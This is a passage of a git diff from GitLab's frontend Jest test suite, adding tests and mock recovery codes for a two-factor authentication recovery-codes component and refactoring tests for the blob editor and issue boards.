+ it('fires Snowplow event', () => {
+ expect(findProceedButton().attributes()).toMatchObject({
+ 'data-track-event': 'click_button',
+ 'data-track-label': '2fa_recovery_codes_proceed_button',
+ });
+ });
+ });
+
+ describe('"Copy codes" button', () => {
+ it('renders button', () => {
+ const copyButton = findCopyButton();
+
+ expect(copyButton.exists()).toBe(true);
+ expect(copyButton.text()).toBe(i18n.copyButton);
+ expect(copyButton.props()).toMatchObject({
+ title: i18n.copyButton,
+ text: codesFormattedString,
+ });
+ });
+
+ describe('when button is clicked', () => {
+ beforeEach(async () => {
+ findCopyButton().trigger('click');
+
+ await nextTick();
+ });
+
+ it('enables "Proceed" button', () => {
+ expect(findProceedButton().props('disabled')).toBe(false);
+ });
+
+ it('fires Snowplow event', () => {
+ expect(Tracking.event).toHaveBeenCalledWith(undefined, 'click_button', {
+ label: '2fa_recovery_codes_copy_button',
+ });
+ });
+ });
+ });
+
+ describe('"Download codes" button', () => {
+ it('renders button', () => {
+ const downloadButton = findDownloadButton();
+
+ expect(downloadButton.exists()).toBe(true);
+ expect(downloadButton.attributes()).toMatchObject({
+ title: i18n.downloadButton,
+ download: RECOVERY_CODE_DOWNLOAD_FILENAME,
+ href: codesDownloadHref,
+ });
+ });
+
+ describe('when button is clicked', () => {
+ beforeEach(async () => {
+ const downloadButton = findDownloadButton();
+ // jsdom does not support navigating.
+ // Since we are clicking an anchor tag there is no way to mock this
+ // and we are forced to instead remove the `href` attribute.
+ // More info: https://github.com/jsdom/jsdom/issues/2112#issuecomment-663672587
+ downloadButton.element.removeAttribute('href');
+ downloadButton.trigger('click');
+
+ await nextTick();
+ });
+
+ it('enables "Proceed" button', () => {
+ expect(findProceedButton().props('disabled')).toBe(false);
+ });
+
+ it('fires Snowplow event', () => {
+ expect(Tracking.event).toHaveBeenCalledWith(undefined, 'click_button', {
+ label: '2fa_recovery_codes_download_button',
+ });
+ });
+ });
+ });
+
+ describe('"Print codes" button', () => {
+ it('renders button', () => {
+ const printButton = findPrintButton();
+
+ expect(printButton.exists()).toBe(true);
+ expect(printButton.attributes()).toMatchObject({
+ title: i18n.printButton,
+ });
+ });
+
+ describe('when button is clicked', () => {
+ beforeEach(async () => {
+ window.print = jest.fn();
+
+ findPrintButton().trigger('click');
+
+ await nextTick();
+ });
+
+ it('enables "Proceed" button and opens print dialog', () => {
+ expect(findProceedButton().props('disabled')).toBe(false);
+ expect(window.print).toHaveBeenCalled();
+ });
+
+ it('fires Snowplow event', () => {
+ expect(Tracking.event).toHaveBeenCalledWith(undefined, 'click_button', {
+ label: '2fa_recovery_codes_print_button',
+ });
+ });
+ });
+ });
+
+ describe('when codes are manually copied', () => {
+ describe('when selected text is the recovery codes', () => {
+ beforeEach(async () => {
+ jest.spyOn(window, 'getSelection').mockImplementation(() => ({
+ toString: jest.fn(() => codesFormattedString),
+ }));
+
+ manuallyCopyRecoveryCodes();
+
+ await nextTick();
+ });
+
+ it('enables "Proceed" button', () => {
+ expect(findProceedButton().props('disabled')).toBe(false);
+ });
+
+ it('fires Snowplow event', () => {
+ expect(Tracking.event).toHaveBeenCalledWith(undefined, 'copy_keyboard_shortcut', {
+ label: '2fa_recovery_codes_manual_copy',
+ });
+ });
+ });
+
+ describe('when selected text includes the recovery codes', () => {
+ beforeEach(() => {
+ jest.spyOn(window, 'getSelection').mockImplementation(() => ({
+ toString: jest.fn(() => `foo bar ${codesFormattedString}`),
+ }));
+ });
+
+ it('enables "Proceed" button', async () => {
+ manuallyCopyRecoveryCodes();
+
+ await nextTick();
+
+ expect(findProceedButton().props('disabled')).toBe(false);
+ });
+ });
+
+ describe('when selected text does not include the recovery codes', () => {
+ beforeEach(() => {
+ jest.spyOn(window, 'getSelection').mockImplementation(() => ({
+ toString: jest.fn(() => 'foo bar'),
+ }));
+ });
+
+ it('keeps "Proceed" button disabled', async () => {
+ manuallyCopyRecoveryCodes();
+
+ await nextTick();
+
+ expect(findProceedButton().props('disabled')).toBe(true);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/authentication/two_factor_auth/index_spec.js b/spec/frontend/authentication/two_factor_auth/index_spec.js
new file mode 100644
index 00000000000..b181170b0a1
--- /dev/null
+++ b/spec/frontend/authentication/two_factor_auth/index_spec.js
@@ -0,0 +1,80 @@
+import { createWrapper } from '@vue/test-utils';
+import { getByTestId, fireEvent } from '@testing-library/dom';
+import * as urlUtils from '~/lib/utils/url_utility';
+import { initRecoveryCodes, initClose2faSuccessMessage } from '~/authentication/two_factor_auth';
+import RecoveryCodes from '~/authentication/two_factor_auth/components/recovery_codes.vue';
+import { codesJsonString, codes, profileAccountPath } from './mock_data';
+
+describe('initRecoveryCodes', () => {
+ let el;
+ let wrapper;
+
+ const findRecoveryCodesComponent = () => wrapper.find(RecoveryCodes);
+
+ beforeEach(() => {
+ el = document.createElement('div');
+ el.setAttribute('class', 'js-2fa-recovery-codes');
+ el.setAttribute('data-codes', codesJsonString);
+ el.setAttribute('data-profile-account-path', profileAccountPath);
+ document.body.appendChild(el);
+
+ wrapper = createWrapper(initRecoveryCodes());
+ });
+
+ afterEach(() => {
+ document.body.innerHTML = '';
+ });
+
+ it('parses `data-codes` and passes to `RecoveryCodes` as `codes` prop', () => {
+ expect(findRecoveryCodesComponent().props('codes')).toEqual(codes);
+ });
+
+ it('parses `data-profile-account-path` and passes to `RecoveryCodes` as `profileAccountPath` prop', () => {
+ expect(findRecoveryCodesComponent().props('profileAccountPath')).toEqual(profileAccountPath);
+ });
+});
+
+describe('initClose2faSuccessMessage', () => {
+ beforeEach(() => {
+ document.body.innerHTML = `
+ <button
+ data-testid="close-2fa-enabled-success-alert"
+ class="js-close-2fa-enabled-success-alert"
+ >
+ </button>
+ `;
+
+ initClose2faSuccessMessage();
+ });
+
+ afterEach(() => {
+ document.body.innerHTML = '';
+ });
+
+ describe('when alert is closed', () => {
+ beforeEach(() => {
+ delete window.location;
+ window.location = new URL(
+ 'https://localhost/-/profile/account?two_factor_auth_enabled_successfully=true',
+ );
+
+ document.title = 'foo bar';
+
+ urlUtils.updateHistory = jest.fn();
+ });
+
+ afterEach(() => {
+ document.title = '';
+ });
+
+ it('removes `two_factor_auth_enabled_successfully` query param', () => {
+ fireEvent.click(getByTestId(document.body, 'close-2fa-enabled-success-alert'));
+
+ expect(urlUtils.updateHistory).toHaveBeenCalledWith({
+ url: 'https://localhost/-/profile/account',
+ title: 'foo bar',
+ replace: true,
+ });
+ });
+ });
+});
diff --git a/spec/frontend/authentication/two_factor_auth/mock_data.js b/spec/frontend/authentication/two_factor_auth/mock_data.js
new file mode 100644
index 00000000000..7b2a1764abd
--- /dev/null
+++ b/spec/frontend/authentication/two_factor_auth/mock_data.js
@@ -0,0 +1,31 @@
+export const codes = [
+ 'e8471c403a6a84c0',
+ 'b1b92de21c68f08e',
+ 'd7689f332cd8cd73',
+ '05b706accfa95cfa',
+ 'b0a2b45ea956c1d2',
+ '599dc672d18d5161',
+ 'e14e9f4adf4b8bf2',
+ '1013007a75efeeec',
+ '26bd057c4c696a4f',
+ '1c46fba5a4275ef4',
+];
+
+export const codesJsonString =
+ '["e8471c403a6a84c0","b1b92de21c68f08e","d7689f332cd8cd73","05b706accfa95cfa","b0a2b45ea956c1d2","599dc672d18d5161","e14e9f4adf4b8bf2","1013007a75efeeec","26bd057c4c696a4f","1c46fba5a4275ef4"]';
+
+export const codesFormattedString = `e8471c403a6a84c0
+b1b92de21c68f08e
+d7689f332cd8cd73
+05b706accfa95cfa
+b0a2b45ea956c1d2
+599dc672d18d5161
+e14e9f4adf4b8bf2
+1013007a75efeeec
+26bd057c4c696a4f
+1c46fba5a4275ef4`;
+
+export const codesDownloadHref =
+ 'data:text/plain;charset=utf-8,e8471c403a6a84c0%0Ab1b92de21c68f08e%0Ad7689f332cd8cd73%0A05b706accfa95cfa%0Ab0a2b45ea956c1d2%0A599dc672d18d5161%0Ae14e9f4adf4b8bf2%0A1013007a75efeeec%0A26bd057c4c696a4f%0A1c46fba5a4275ef4';
+
+export const profileAccountPath = '/-/profile/account';
diff --git a/spec/frontend/blob/components/mock_data.js b/spec/frontend/blob/components/mock_data.js
index 8cfcec2693c..95789ca13cb 100644
--- a/spec/frontend/blob/components/mock_data.js
+++ b/spec/frontend/blob/components/mock_data.js
@@ -55,5 +55,3 @@ export const SimpleBlobContentMock = {
path: 'foo.js',
plainData: 'Plain',
};
-
-export default {};
diff --git a/spec/frontend/blob/viewer/index_spec.js b/spec/frontend/blob/viewer/index_spec.js
index 69ec22b1f94..a4b4044f5f9 100644
--- a/spec/frontend/blob/viewer/index_spec.js
+++ b/spec/frontend/blob/viewer/index_spec.js
@@ -154,7 +154,7 @@ describe('Blob viewer', () => {
blob.switchToViewer('simple');
- expect(simpleBtn.classList.contains('active')).toBeTruthy();
+ expect(simpleBtn.classList.contains('selected')).toBeTruthy();
expect(simpleBtn.blur).toHaveBeenCalled();
});
diff --git a/spec/frontend/blob_edit/edit_blob_spec.js b/spec/frontend/blob_edit/edit_blob_spec.js
index ac8b916e448..9637ea09a3a 100644
--- a/spec/frontend/blob_edit/edit_blob_spec.js
+++ b/spec/frontend/blob_edit/edit_blob_spec.js
@@ -1,25 +1,35 @@
import waitForPromises from 'helpers/wait_for_promises';
import EditBlob from '~/blob_edit/edit_blob';
import EditorLite from '~/editor/editor_lite';
-import MarkdownExtension from '~/editor/editor_markdown_ext';
-import FileTemplateExtension from '~/editor/editor_file_template_ext';
+import { EditorMarkdownExtension } from '~/editor/editor_markdown_ext';
+import { FileTemplateExtension } from '~/editor/editor_file_template_ext';
jest.mock('~/editor/editor_lite');
jest.mock('~/editor/editor_markdown_ext');
+jest.mock('~/editor/editor_file_template_ext');
describe('Blob Editing', () => {
const useMock = jest.fn();
const mockInstance = {
use: useMock,
- getValue: jest.fn(),
+ setValue: jest.fn(),
+ getValue: jest.fn().mockReturnValue('test value'),
focus: jest.fn(),
};
beforeEach(() => {
- setFixtures(
- `<div class="js-edit-blob-form"><div id="file_path"></div><div id="editor"></div><input id="file-content"></div>`,
- );
+ setFixtures(`
+ <form class="js-edit-blob-form">
+ <div id="file_path"></div>
+ <div id="editor"></div>
+ <textarea id="file-content"></textarea>
+ </form>
+ `);
jest.spyOn(EditorLite.prototype, 'createInstance').mockReturnValue(mockInstance);
});
+ afterEach(() => {
+ EditorMarkdownExtension.mockClear();
+ FileTemplateExtension.mockClear();
+ });
const editorInst = isMarkdown => {
return new EditBlob({
@@ -34,20 +44,31 @@ describe('Blob Editing', () => {
it('loads FileTemplateExtension by default', async () => {
await initEditor();
- expect(useMock).toHaveBeenCalledWith(FileTemplateExtension);
+ expect(FileTemplateExtension).toHaveBeenCalledTimes(1);
});
describe('Markdown', () => {
it('does not load MarkdownExtension by default', async () => {
await initEditor();
- expect(useMock).not.toHaveBeenCalledWith(MarkdownExtension);
+ expect(EditorMarkdownExtension).not.toHaveBeenCalled();
});
it('loads MarkdownExtension only for the markdown files', async () => {
await initEditor(true);
expect(useMock).toHaveBeenCalledTimes(2);
- expect(useMock).toHaveBeenNthCalledWith(1, FileTemplateExtension);
- expect(useMock).toHaveBeenNthCalledWith(2, MarkdownExtension);
+ expect(FileTemplateExtension).toHaveBeenCalledTimes(1);
+ expect(EditorMarkdownExtension).toHaveBeenCalledTimes(1);
});
});
+
+ it('adds trailing newline to the blob content on submit', async () => {
+ const form = document.querySelector('.js-edit-blob-form');
+ const fileContentEl = document.getElementById('file-content');
+
+ await initEditor();
+
+ form.dispatchEvent(new Event('submit'));
+
+ expect(fileContentEl.value).toBe('test value\n');
+ });
});
diff --git a/spec/frontend/boards/board_list_new_spec.js b/spec/frontend/boards/board_list_new_spec.js
index 55516e3fd56..96b03ed927e 100644
--- a/spec/frontend/boards/board_list_new_spec.js
+++ b/spec/frontend/boards/board_list_new_spec.js
@@ -1,15 +1,11 @@
-/* global List */
-/* global ListIssue */
-
import Vuex from 'vuex';
import { useFakeRequestAnimationFrame } from 'helpers/fake_request_animation_frame';
import { createLocalVue, mount } from '@vue/test-utils';
import eventHub from '~/boards/eventhub';
import BoardList from '~/boards/components/board_list_new.vue';
import BoardCard from '~/boards/components/board_card.vue';
-import '~/boards/models/issue';
import '~/boards/models/list';
-import { listObj, mockIssuesByListId, issues } from './mock_data';
+import { mockList, mockIssuesByListId, issues, mockIssues } from './mock_data';
import defaultState from '~/boards/stores/state';
const localVue = createLocalVue();
@@ -46,13 +42,11 @@ const createComponent = ({
...state,
});
- const list = new List({
- ...listObj,
- id: 'gid://gitlab/List/1',
+ const list = {
+ ...mockList,
...listProps,
- doNotFetchIssues: true,
- });
- const issue = new ListIssue({
+ };
+ const issue = {
title: 'Testing',
id: 1,
iid: 1,
@@ -60,9 +54,9 @@ const createComponent = ({
labels: [],
assignees: [],
...listIssueProps,
- });
- if (!Object.prototype.hasOwnProperty.call(listProps, 'issuesSize')) {
- list.issuesSize = 1;
+ };
+ if (!Object.prototype.hasOwnProperty.call(listProps, 'issuesCount')) {
+ list.issuesCount = 1;
}
const component = mount(BoardList, {
@@ -71,6 +65,7 @@ const createComponent = ({
disabled: false,
list,
issues: [issue],
+ canAdminList: true,
...componentProps,
},
store,
@@ -87,17 +82,19 @@ const createComponent = ({
describe('Board list component', () => {
let wrapper;
+ const findByTestId = testId => wrapper.find(`[data-testid="${testId}"]`);
useFakeRequestAnimationFrame();
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
describe('When Expanded', () => {
beforeEach(() => {
wrapper = createComponent();
});
- afterEach(() => {
- wrapper.destroy();
- });
-
it('renders component', () => {
expect(wrapper.find('.board-list-component').exists()).toBe(true);
});
@@ -107,7 +104,7 @@ describe('Board list component', () => {
state: { listsFlags: { 'gid://gitlab/List/1': { isLoading: true } } },
});
- expect(wrapper.find('[data-testid="board_list_loading"').exists()).toBe(true);
+ expect(findByTestId('board_list_loading').exists()).toBe(true);
});
it('renders issues', () => {
@@ -157,7 +154,7 @@ describe('Board list component', () => {
it('shows how many more issues to load', async () => {
wrapper.vm.showCount = true;
- wrapper.setProps({ list: { issuesSize: 20 } });
+ wrapper.setProps({ list: { issuesCount: 20 } });
await wrapper.vm.$nextTick();
expect(wrapper.find('.board-list-count').text()).toBe('Showing 1 of 20 issues');
@@ -167,30 +164,30 @@ describe('Board list component', () => {
describe('load more issues', () => {
beforeEach(() => {
wrapper = createComponent({
- listProps: { issuesSize: 25 },
+ listProps: { issuesCount: 25 },
});
});
- afterEach(() => {
- wrapper.destroy();
- });
-
it('loads more issues after scrolling', () => {
- wrapper.vm.$refs.list.dispatchEvent(new Event('scroll'));
+ wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
expect(actions.fetchIssuesForList).toHaveBeenCalled();
});
it('does not load issues if already loading', () => {
- wrapper.vm.$refs.list.dispatchEvent(new Event('scroll'));
- wrapper.vm.$refs.list.dispatchEvent(new Event('scroll'));
+ wrapper = createComponent({
+ state: { listsFlags: { 'gid://gitlab/List/1': { isLoadingMore: true } } },
+ });
+ wrapper.vm.listRef.dispatchEvent(new Event('scroll'));
- expect(actions.fetchIssuesForList).toHaveBeenCalledTimes(1);
+ expect(actions.fetchIssuesForList).not.toHaveBeenCalled();
});
it('shows loading more spinner', async () => {
+ wrapper = createComponent({
+ state: { listsFlags: { 'gid://gitlab/List/1': { isLoadingMore: true } } },
+ });
wrapper.vm.showCount = true;
- wrapper.vm.list.loadingMore = true;
await wrapper.vm.$nextTick();
expect(wrapper.find('.board-list-count .gl-spinner').exists()).toBe(true);
@@ -200,17 +197,13 @@ describe('Board list component', () => {
describe('max issue count warning', () => {
beforeEach(() => {
wrapper = createComponent({
- listProps: { issuesSize: 50 },
+ listProps: { issuesCount: 50 },
});
});
- afterEach(() => {
- wrapper.destroy();
- });
-
describe('when issue count exceeds max issue count', () => {
it('sets background to bg-danger-100', async () => {
- wrapper.setProps({ list: { issuesSize: 4, maxIssueCount: 3 } });
+ wrapper.setProps({ list: { issuesCount: 4, maxIssueCount: 3 } });
await wrapper.vm.$nextTick();
expect(wrapper.find('.bg-danger-100').exists()).toBe(true);
@@ -219,7 +212,7 @@ describe('Board list component', () => {
describe('when list issue count does NOT exceed list max issue count', () => {
it('does not sets background to bg-danger-100', () => {
- wrapper.setProps({ list: { issuesSize: 2, maxIssueCount: 3 } });
+ wrapper.setProps({ list: { issuesCount: 2, maxIssueCount: 3 } });
expect(wrapper.find('.bg-danger-100').exists()).toBe(false);
});
@@ -233,4 +226,43 @@ describe('Board list component', () => {
});
});
});
+
+ describe('drag & drop issue', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ describe('handleDragOnStart', () => {
+ it('adds a class `is-dragging` to document body', () => {
+ expect(document.body.classList.contains('is-dragging')).toBe(false);
+
+ findByTestId('tree-root-wrapper').vm.$emit('start');
+
+ expect(document.body.classList.contains('is-dragging')).toBe(true);
+ });
+ });
+
+ describe('handleDragOnEnd', () => {
+ it('removes class `is-dragging` from document body', () => {
+ jest.spyOn(wrapper.vm, 'moveIssue').mockImplementation(() => {});
+ document.body.classList.add('is-dragging');
+
+ findByTestId('tree-root-wrapper').vm.$emit('end', {
+ oldIndex: 1,
+ newIndex: 0,
+ item: {
+ dataset: {
+ issueId: mockIssues[0].id,
+ issueIid: mockIssues[0].iid,
+ issuePath: mockIssues[0].referencePath,
+ },
+ },
+ to: { children: [], dataset: { listId: 'gid://gitlab/List/1' } },
+ from: { dataset: { listId: 'gid://gitlab/List/2' } },
+ });
+
+ expect(document.body.classList.contains('is-dragging')).toBe(false);
+ });
+ });
+ });
});
diff --git a/spec/frontend/boards/boards_store_spec.js b/spec/frontend/boards/boards_store_spec.js
index e7c1cf79fdc..c89f6d22ef2 100644
--- a/spec/frontend/boards/boards_store_spec.js
+++ b/spec/frontend/boards/boards_store_spec.js
@@ -1,7 +1,7 @@
import AxiosMockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'helpers/test_constants';
import axios from '~/lib/utils/axios_utils';
-import boardsStore, { gqlClient } from '~/boards/stores/boards_store';
+import boardsStore from '~/boards/stores/boards_store';
import eventHub from '~/boards/eventhub';
import { listObj, listObjDuplicate } from './mock_data';
@@ -66,23 +66,6 @@ describe('boardsStore', () => {
});
});
- describe('generateDefaultLists', () => {
- const listsEndpointGenerate = `${endpoints.listsEndpoint}/generate.json`;
-
- it('makes a request to generate default lists', () => {
- axiosMock.onPost(listsEndpointGenerate).replyOnce(200, dummyResponse);
- const expectedResponse = expect.objectContaining({ data: dummyResponse });
-
- return expect(boardsStore.generateDefaultLists()).resolves.toEqual(expectedResponse);
- });
-
- it('fails for error response', () => {
- axiosMock.onPost(listsEndpointGenerate).replyOnce(500);
-
- return expect(boardsStore.generateDefaultLists()).rejects.toThrow();
- });
- });
-
describe('createList', () => {
const entityType = 'moorhen';
const entityId = 'quack';
@@ -473,118 +456,6 @@ describe('boardsStore', () => {
});
});
- describe('createBoard', () => {
- const labelIds = ['first label', 'second label'];
- const assigneeId = 'as sign ee';
- const milestoneId = 'vegetable soup';
- const board = {
- labels: labelIds.map(id => ({ id })),
- assignee: { id: assigneeId },
- milestone: { id: milestoneId },
- };
-
- describe('for existing board', () => {
- const id = 'skate-board';
- const url = `${endpoints.boardsEndpoint}/${id}.json`;
- const expectedRequest = expect.objectContaining({
- data: JSON.stringify({
- board: {
- ...board,
- id,
- label_ids: labelIds,
- assignee_id: assigneeId,
- milestone_id: milestoneId,
- },
- }),
- });
-
- let requestSpy;
-
- beforeEach(() => {
- requestSpy = jest.fn();
- axiosMock.onPut(url).replyOnce(config => requestSpy(config));
- jest.spyOn(gqlClient, 'mutate').mockReturnValue(Promise.resolve({}));
- });
-
- it('makes a request to update the board', () => {
- requestSpy.mockReturnValue([200, dummyResponse]);
- const expectedResponse = [
- expect.objectContaining({ data: dummyResponse }),
- expect.objectContaining({}),
- ];
-
- return expect(
- boardsStore.createBoard({
- ...board,
- id,
- }),
- )
- .resolves.toEqual(expectedResponse)
- .then(() => {
- expect(requestSpy).toHaveBeenCalledWith(expectedRequest);
- });
- });
-
- it('fails for error response', () => {
- requestSpy.mockReturnValue([500]);
-
- return expect(
- boardsStore.createBoard({
- ...board,
- id,
- }),
- )
- .rejects.toThrow()
- .then(() => {
- expect(requestSpy).toHaveBeenCalledWith(expectedRequest);
- });
- });
- });
-
- describe('for new board', () => {
- const url = `${endpoints.boardsEndpoint}.json`;
- const expectedRequest = expect.objectContaining({
- data: JSON.stringify({
- board: {
- ...board,
- label_ids: labelIds,
- assignee_id: assigneeId,
- milestone_id: milestoneId,
- },
- }),
- });
-
- let requestSpy;
-
- beforeEach(() => {
- requestSpy = jest.fn();
- axiosMock.onPost(url).replyOnce(config => requestSpy(config));
- jest.spyOn(gqlClient, 'mutate').mockReturnValue(Promise.resolve({}));
- });
-
- it('makes a request to create a new board', () => {
- requestSpy.mockReturnValue([200, dummyResponse]);
- const expectedResponse = dummyResponse;
-
- return expect(boardsStore.createBoard(board))
- .resolves.toEqual(expectedResponse)
- .then(() => {
- expect(requestSpy).toHaveBeenCalledWith(expectedRequest);
- });
- });
-
- it('fails for error response', () => {
- requestSpy.mockReturnValue([500]);
-
- return expect(boardsStore.createBoard(board))
- .rejects.toThrow()
- .then(() => {
- expect(requestSpy).toHaveBeenCalledWith(expectedRequest);
- });
- });
- });
- });
-
describe('deleteBoard', () => {
const id = 'capsized';
const url = `${endpoints.boardsEndpoint}/${id}.json`;
@@ -727,24 +598,6 @@ describe('boardsStore', () => {
});
});
- it('check for blank state adding', () => {
- expect(boardsStore.shouldAddBlankState()).toBe(true);
- });
-
- it('check for blank state not adding', () => {
- boardsStore.addList(listObj);
-
- expect(boardsStore.shouldAddBlankState()).toBe(false);
- });
-
- it('check for blank state adding when closed list exist', () => {
- boardsStore.addList({
- list_type: 'closed',
- });
-
- expect(boardsStore.shouldAddBlankState()).toBe(true);
- });
-
it('removes list from state', () => {
boardsStore.addList(listObj);
diff --git a/spec/frontend/boards/components/board_assignee_dropdown_spec.js b/spec/frontend/boards/components/board_assignee_dropdown_spec.js
index e185a6d5419..bbdcc707f09 100644
--- a/spec/frontend/boards/components/board_assignee_dropdown_spec.js
+++ b/spec/frontend/boards/components/board_assignee_dropdown_spec.js
@@ -1,5 +1,11 @@
import { mount, createLocalVue } from '@vue/test-utils';
-import { GlDropdownItem, GlAvatarLink, GlAvatarLabeled, GlSearchBoxByType } from '@gitlab/ui';
+import {
+ GlDropdownItem,
+ GlAvatarLink,
+ GlAvatarLabeled,
+ GlSearchBoxByType,
+ GlLoadingIcon,
+} from '@gitlab/ui';
import createMockApollo from 'jest/helpers/mock_apollo_helper';
import VueApollo from 'vue-apollo';
import BoardAssigneeDropdown from '~/boards/components/board_assignee_dropdown.vue';
@@ -8,7 +14,7 @@ import MultiSelectDropdown from '~/vue_shared/components/sidebar/multiselect_dro
import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
import store from '~/boards/stores';
import getIssueParticipants from '~/vue_shared/components/sidebar/queries/getIssueParticipants.query.graphql';
-import searchUsers from '~/boards/queries/users_search.query.graphql';
+import searchUsers from '~/boards/graphql/users_search.query.graphql';
import { participants } from '../mock_data';
const localVue = createLocalVue();
@@ -20,17 +26,18 @@ describe('BoardCardAssigneeDropdown', () => {
let fakeApollo;
let getIssueParticipantsSpy;
let getSearchUsersSpy;
+ let dispatchSpy;
const iid = '111';
const activeIssueName = 'test';
const anotherIssueName = 'hello';
- const createComponent = (search = '') => {
+ const createComponent = (search = '', loading = false) => {
wrapper = mount(BoardAssigneeDropdown, {
data() {
return {
search,
- selected: store.getters.activeIssue.assignees,
+ selected: [],
participants,
};
},
@@ -39,6 +46,15 @@ describe('BoardCardAssigneeDropdown', () => {
canUpdate: true,
rootPath: '',
},
+ mocks: {
+ $apollo: {
+ queries: {
+ participants: {
+ loading,
+ },
+ },
+ },
+ },
});
};
@@ -47,14 +63,13 @@ describe('BoardCardAssigneeDropdown', () => {
[getIssueParticipants, getIssueParticipantsSpy],
[searchUsers, getSearchUsersSpy],
]);
-
wrapper = mount(BoardAssigneeDropdown, {
localVue,
apolloProvider: fakeApollo,
data() {
return {
search,
- selected: store.getters.activeIssue.assignees,
+ selected: [],
participants,
};
},
@@ -82,6 +97,8 @@ describe('BoardCardAssigneeDropdown', () => {
return wrapper.findAll(GlDropdownItem).wrappers.find(node => node.text().indexOf(text) === 0);
};
+ const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
+
beforeEach(() => {
store.state.activeId = '1';
store.state.issues = {
@@ -91,10 +108,11 @@ describe('BoardCardAssigneeDropdown', () => {
},
};
- jest.spyOn(store, 'dispatch').mockResolvedValue();
+ dispatchSpy = jest.spyOn(store, 'dispatch').mockResolvedValue();
});
afterEach(() => {
+ window.gon = {};
jest.restoreAllMocks();
});
@@ -243,6 +261,30 @@ describe('BoardCardAssigneeDropdown', () => {
},
);
+ describe('when participants is loading', () => {
+ beforeEach(() => {
+ createComponent('', true);
+ });
+
+ it('finds a loading icon in the dropdown', () => {
+ expect(findLoadingIcon().exists()).toBe(true);
+ });
+ });
+
+ describe('when participants is loading is false', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('does not find GlLoading icon in the dropdown', () => {
+ expect(findLoadingIcon().exists()).toBe(false);
+ });
+
+ it('finds at least 1 GlDropdownItem', () => {
+ expect(wrapper.findAll(GlDropdownItem).length).toBeGreaterThan(0);
+ });
+ });
+
describe('Apollo', () => {
beforeEach(() => {
getIssueParticipantsSpy = jest.fn().mockResolvedValue({
@@ -305,4 +347,39 @@ describe('BoardCardAssigneeDropdown', () => {
expect(wrapper.find(GlSearchBoxByType).exists()).toBe(true);
});
+
+ describe('when assign-self is emitted from IssuableAssignees', () => {
+ const currentUser = { username: 'self', name: '', id: '' };
+
+ beforeEach(() => {
+ window.gon = { current_username: currentUser.username };
+
+ dispatchSpy.mockResolvedValue([currentUser]);
+ createComponent();
+
+ wrapper.find(IssuableAssignees).vm.$emit('assign-self');
+ });
+
+ it('calls setAssignees with currentUser', () => {
+ expect(store.dispatch).toHaveBeenCalledWith('setAssignees', currentUser.username);
+ });
+
+ it('adds the user to the selected list', async () => {
+ expect(findByText(currentUser.username).exists()).toBe(true);
+ });
+ });
+
+ describe('when setting an assignee', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('passes loading state from Vuex to BoardEditableItem', async () => {
+ store.state.isSettingAssignees = true;
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(BoardEditableItem).props('loading')).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/boards/components/board_column_new_spec.js b/spec/frontend/boards/components/board_column_new_spec.js
index 4aafc3a867a..81c0e60f931 100644
--- a/spec/frontend/boards/components/board_column_new_spec.js
+++ b/spec/frontend/boards/components/board_column_new_spec.js
@@ -2,7 +2,6 @@ import { shallowMount } from '@vue/test-utils';
import { listObj } from 'jest/boards/mock_data';
import BoardColumn from '~/boards/components/board_column_new.vue';
-import List from '~/boards/models/list';
import { ListType } from '~/boards/constants';
import { createStore } from '~/boards/stores';
@@ -20,24 +19,22 @@ describe('Board Column Component', () => {
const listMock = {
...listObj,
- list_type: listType,
+ listType,
collapsed,
};
if (listType === ListType.assignee) {
delete listMock.label;
- listMock.user = {};
+ listMock.assignee = {};
}
- const list = new List({ ...listMock, doNotFetchIssues: true });
-
store = createStore();
wrapper = shallowMount(BoardColumn, {
store,
propsData: {
disabled: false,
- list,
+ list: listMock,
},
provide: {
boardId,
@@ -60,7 +57,7 @@ describe('Board Column Component', () => {
it('has class is-collapsed when list is collapsed', () => {
createComponent({ collapsed: false });
- expect(wrapper.vm.list.isExpanded).toBe(true);
+ expect(isCollapsed()).toBe(false);
});
it('does not have class is-collapsed when list is expanded', () => {
diff --git a/spec/frontend/boards/components/board_content_spec.js b/spec/frontend/boards/components/board_content_spec.js
index 09e38001e2e..291013c561e 100644
--- a/spec/frontend/boards/components/board_content_spec.js
+++ b/spec/frontend/boards/components/board_content_spec.js
@@ -1,32 +1,38 @@
import Vuex from 'vuex';
import { createLocalVue, shallowMount } from '@vue/test-utils';
import { GlAlert } from '@gitlab/ui';
+import Draggable from 'vuedraggable';
import EpicsSwimlanes from 'ee_component/boards/components/epics_swimlanes.vue';
-import BoardColumn from 'ee_else_ce/boards/components/board_column.vue';
import getters from 'ee_else_ce/boards/stores/getters';
-import { mockListsWithModel } from '../mock_data';
+import BoardColumn from '~/boards/components/board_column.vue';
+import { mockLists, mockListsWithModel } from '../mock_data';
import BoardContent from '~/boards/components/board_content.vue';
const localVue = createLocalVue();
localVue.use(Vuex);
+const actions = {
+ moveList: jest.fn(),
+};
+
describe('BoardContent', () => {
let wrapper;
const defaultState = {
isShowingEpicsSwimlanes: false,
- boardLists: mockListsWithModel,
+ boardLists: mockLists,
error: undefined,
};
const createStore = (state = defaultState) => {
return new Vuex.Store({
+ actions,
getters,
state,
});
};
- const createComponent = state => {
+ const createComponent = ({ state, props = {}, graphqlBoardListsEnabled = false } = {}) => {
const store = createStore({
...defaultState,
...state,
@@ -37,25 +43,61 @@ describe('BoardContent', () => {
lists: mockListsWithModel,
canAdminList: true,
disabled: false,
+ ...props,
+ },
+ provide: {
+ glFeatures: { graphqlBoardLists: graphqlBoardListsEnabled },
},
store,
});
};
- beforeEach(() => {
- createComponent();
- });
-
afterEach(() => {
wrapper.destroy();
});
it('renders a BoardColumn component per list', () => {
- expect(wrapper.findAll(BoardColumn)).toHaveLength(mockListsWithModel.length);
+ createComponent();
+
+ expect(wrapper.findAll(BoardColumn)).toHaveLength(mockLists.length);
});
it('does not display EpicsSwimlanes component', () => {
+ createComponent();
+
expect(wrapper.find(EpicsSwimlanes).exists()).toBe(false);
